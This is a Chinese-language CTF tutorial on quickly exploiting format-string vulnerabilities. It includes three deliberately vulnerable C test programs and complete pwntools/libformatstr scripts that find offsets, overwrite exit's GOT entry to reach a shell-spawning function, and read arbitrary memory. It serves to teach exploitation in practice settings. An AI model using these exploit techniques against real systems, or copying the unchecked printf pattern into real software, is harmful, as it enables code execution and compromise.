CTF中格式化字符串漏洞快速利用
格式化字符串是CTF比赛中很常见的一种pwn题，但是往往需要自己手工调试，如果可以快速利用该漏洞拿到一血，这无疑可以很大的鼓舞选手的信心，并且有丰厚的分值奖励。那怎么快速利用格式化字符串漏洞呢，甚至对漏洞原理不甚了解怎么快速利用呢，本文将慢慢揭晓。
首先介绍利用该漏洞的工具：https://github.com/hellman/libformatstr ，可以直接pip install libformatstr安装。格式化字符串漏洞的利用方式就是在任意地址写入任意数据，比如改写got表，下边分三种情况介绍：
直接输入所有输入信息
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
void main(int argc, char *argv[]) {
char buf[103];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
printf(buf);
exit(0);
}
编译：gcc -Wno-format-security print_format.c -o print_format
利用思路可以直接将exit函数的got表修改为函数win的地址，这样调用exit时，函数win得到执行，获得shell。
首先计算偏移跟填充，这里举个例子：
比如用户输入aaaBBBB.%x.%x.%x.%x.%x.%x，输出：aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242
那么这里偏移是6，填充是3.
下边直接用libformatstr计算：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv() # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
这样直接计算出偏移是6，填充是3
知道了偏移 填充，以及win函数地址，exit got表地址，可以直接利用：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_test')
elf=ELF('./print_test')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_test')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(6,3)
r.sendline(buf)
r.interactive()
说明： p.payload(6,3) 直接输入偏移，填充
p[exit_got] = win_addr 因为是直接将win函数地址写入exit函数的got表，所以可以直接这样写。
输出有预打印字符
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
void main(int argc, char *argv[]) {
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
sprintf(out,"hello,%s\n",buf);
printf(out);
exit(0);
}
编译：gcc -Wno-format-security print_format.c -o print_format
可以看到这次代码跟上次的不同就是输出时先输出”hello,”，再输出用户输入的数据。
首先计算偏移填充：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_format')
r.sendline(make_pattern(bufsiz)) # send cyclic pattern to
data = <strong>r.recv()[6:] </strong> # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
可以看到偏移填充是8 3
此处计算计算偏移填充时，因为会预输出”hello,”,所以代码中使用r.recv()[6:] 计算。
知道了偏移填充，就可以直接利用，注意此处的预输出数据的影响，所以此时payload是p.payload(8,3,start_len=6)
完整代码：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x804852d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(8,3,start_len=6)
r.sendline(buf)
r.interactive()
输入数据有限制
程序对用户输入的数据有限制，只能输入特定格式的数据
测试代码：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void win() {
system("/bin/sh");
}
void main(int argc, char *argv[]) {
char buf[103],out[200];
fgets(buf, 103, stdin);
buf[strlen(buf)-1] = 0x0;
if (!memcmp(buf,"http://",7))
{
printf(buf);
}
else
{
printf("input error!\n");
}
exit(0);
}
可以看到用户输入的数据必须以http://开头，首先计算偏移填充：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
elf=ELF('./print_format')
exit_got=0x804a01c
win_addr=0x80484fd
bufsiz = 100
r = process('./print_format')
r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv()[7:] # server's response
offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
可以看到偏移是7，填充是1，注意此时先输入http://,在输入随机字符，计算偏移填充，收到的数据也要从第七个字符开始计算：
r.sendline("http://"+make_pattern(bufsiz)) # send cyclic pattern to
data = r.recv()[7:]
知道了偏移填充，就可以直接利用，注意此处要先输入http:// , payload从第七位开始算（buf = p.payload(7,1,start_len=7) r.sendline("http://"+buf)
），完整利用代码如下：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
win_addr=0x804855d
bufsiz = 100
r = process('./print_format')
p = FormatStr()
p[exit_got] = win_addr
buf = p.payload(7,1,start_len=7)
r.sendline("http://"+buf)
r.interactive()
最后介绍一下任意内存读取，当为第一种情况时，首先获取偏移 填充
然后：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=6
padding=3
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s" #calculate address of exit
r.sendline(buf)
temp=r.recv()[padding+4:padding+4*2]
print hex(u32(temp))
当遇到第二种情况时：
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a01c
fgets_got=0x0804a010
win_addr=0x804855d
offset=8
padding=3
pre_len=6 #预打印字符长度
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"
r.sendline(buf)
temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]
print hex(u32(temp))
可以看到只是recv处理数据时，要将预打印字符长度算进去。
当为第三种情况时，
from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
#r = process('./print_format')
elf=ELF('./print_format')
exit_got=0x804a024
fgets_got=0x0804a010
win_addr=0x804855d
offset=7
padding=1
pre_len=7
bufsiz = 100
r = process('./print_format')
buf="a"*padding+p32(exit_got)+"%"+str(offset)+"$s"
r.sendline("http://"+buf)
temp=r.recv()[pre_len+padding+4:pre_len+padding+4*2]
print temp
print hex(u32(temp))
可以看到输入输出都要将限制字符计算进去。
参考资料：
官方 平安集团安全部银河实验室官方博客